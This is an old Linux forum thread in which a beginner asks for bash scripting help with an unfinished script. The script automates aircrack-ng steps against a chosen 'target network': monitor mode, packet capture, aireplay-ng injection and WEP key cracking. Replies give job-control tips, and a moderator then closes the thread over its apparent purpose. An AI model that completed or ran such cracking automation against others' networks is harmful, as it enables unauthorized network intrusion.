Linux - NewbieThis Linux forum is for members that are new to Linux.
Just starting out and have a question?
If it is not in the man pages or the how-to's this is the place!
Notices
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
I am making a bash script. I have captured user input like so...
Quote:
#! /bin/bash
...
echo "What does the ouput above label your wireless card as?
read iface
airodump-ng $iface
And now need to start a new terminal; preserving the read input.
I tried:
Quote:
#! /bin/bash
...
echo "What does the ouput above label your wireless card as?
read iface
airodump-ng $iface
gnome-terminal
But it does not work. Airodump-ng "takes over" and the script does not continue.
How do I make it so that I can make a new Terminal, or allow more commands to take place on the current one, allow the output from airodump-ng to be shown, and keep the caught user input?
I'm using Ubuntu 9.10, GNOME and would like it so that anyone with a GUI Terminal, Konsole or whatever can execute the script successfully.
I'm confused...I looked up on Googe and couldn't find anything! Just "Beginners guide to Bash Scripting" and "How to BASH script" but nothing relevant that answere my question!
Thank You in Advance.
Last edited by lupusarcanus; 01-20-2010 at 12:00 AM.
#! /bin/bash
echo "What does the ouput above label you're wireless card as?
read iface
gnome-terminal &
airodump-ng $iface
the & puts gnome-terminal in the background, allowing the script to move on to the next command.
But there is probably a better, more advanced (and more complex to script) solution to the problem you face - namely, to show the output of airodump while accepting more inputs.
OK, you are missing a quote, but I'm guessing that you aren't in your "real" script. Also, you don't need to echo then read, you can set a prompt in read.
Code:
#!/bin/bash
...
read -p "What does the ouput above label your wireless card as? " iface
export iface
airodump-ng $iface &
gnome-terminal &
Not exactly sure what you are doing, but the '&' should make airodump-ng run in the background and you will be returned to the shell. The export will allow iface to be seen in the new gnome-terminal.
Hello, I have tried all your suggestion and read man pages and websites and STILL can't figure it out. If it helps, airodump-ng takes the title and full control of the Terminal, as its a running command, like the command 'top', and doesn't stop until user intervention.
I will attach my embarassingly bad script below (its my first 'real' one, and I am using aircrack-ng for it because its something I know the commands and syntax to). Hopefully this makes more sense. I have to allow the airodump-ng command to be visible on the first terminal, and the rest of the commands to run in the 2nd one, up until the next gnome-terminal at the bottom of the script...
Code:
#! /bin/bash
# Cap and Crack version 1.0
echo
echo
echo -n "This script, with the excepttion for a few needed questions, automates aircrack-ng to configure the network interface, capture and inject packets, and crack a WEP 64/128 bit key. Press a key to continue..."
read -n 1
ifconfig
echo
echo
echo
echo "What is your wireless device labled as in the above command? (e.g. 'wifi0', 'wlan0', 'rausb0', etc.) Enter it, and press [ENTER]."
read iface
service network-manager stop; kill avahi daemon; kill wpa_supplicant; kill dhclient; kill network; kill wicd; kill knetworkmanager
ifconfig $iface down
iwconfig $iface mode monitor
ifconfig $iface up
airodump-ng $iface
gnome-terminal
echo -n "After these next questions, we can begin the process of capturing and cracking the WEP key against your desired network. Keep the first Terminal up, it is needed, and will provide you with valuable information. Use it to answer the following questions. After you fill in the answer, press [ENTER]. Now, hit any key to move on..."
read -n 1
echo
echo
echo "What is the BSSID of the target network? Please include the colons and proper capitilization, as this is extermely important. (Wait a second if your target isn't there yet)"
read bssid
echo
echo
echo "What channel (CH) does it show the target network is on?"
read channel
echo
echo
echo "What is the name of the target network? (e.g. 'linksys)'"
read name
echo
echo
echo
echo -n "Lastly, a short, one line command will be executed below. It will show you the interface you typed earlier with an 'Hwaddr' next to it. It is important that you preserve capitalization and the colons."
read -n 1
ifconfig | grep $iface
echo "What is the Hwaddr?"
read mac
echo
echo
echo -n "We have collected the information needed to proceed. Press any key to continue..."
read -n 1
echo
airodump-ng -c $channel --bssid $bssid -w /home/$USER/capncrack-ivs $iface
gnome-terminal
aireplay-ng -1 6000 -o 1 -q 10 -e $name -a $bssid -h $mac
hopefully that makes it easier?
Last edited by lupusarcanus; 01-20-2010 at 02:22 AM.
I guess you'll have to ask yourself whether the man-page for airodump
knows some sort of batch-mode, as top does, post process output & echo
it, and then expect to read from the same terminal. I don't know of
a simple way of starting off a new shell with extra commands in a
new terminal that will allow you to pass input back to the calling
script, plus it sounds heavily broken in that it requires X to be
running in the first place.
@tredegar Jeremy posted a member awards 'Network Security Application of the Year' whic includes snort, which is the same thing, basically. Its for learning purposes. try doing an LQ search of aircrack and you will see that this is a popular thing. It's not being used for malicious purposes.
@Tinkster Are you sure?
I ALMOST got off the ground with this command
Quote:
if [ "$RUNNING_IN_NEW_XTERM" != t ] ; then
RUNNING_IN_NEW_XTERM=t exec xterm -e "$0 $*"
fi
but it just repeated my whole script again, instead of moving onward in the script.
actually, searching for 'aircrack' threads will turn up a bunch of threads that have been closed.
This here thread is still going, because the OP (you, in this case) are looking for "scripting help", as opposed to "help me make aircrack work".
They are two different issues.
tredegar makes a very valid point (see the LQ-Rules for specifics); if you were asking us to help you get aircrack working, we would not be able to help, because we don't know what you plan to do with it. Since you are just looking for help to get your script and xterms working as you want (and you seem to have figured out air-whatever on your own), we can help (for now )
actually, searching for 'aircrack' threads will turn up a bunch of threads that have been closed.
This here thread is still going, because the OP (you, in this case) are looking for "scripting help", as opposed to "help me make aircrack work".
They are two different issues.
tredegar makes a very valid point (see the LQ-Rules for specifics); if you were asking us to help you get aircrack working, we would not be able to help, because we don't know what you plan to do with it. Since you are just looking for help to get your script and xterms working as you want (and you seem to have figured out air-whatever on your own), we can help (for now )
An while I have originally posted a helpful comment I must say I
didn't quite realise what the intention of the thread was ... my
bad. Indeed it looks as if Mr Leopard is trying to write a script
that allows lifeforms of lower wits and ill intention to make use
of cracking software more easily.
With these words I'm closing the thread and ask Mr Leopard to
abstain from such threads in the future.
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.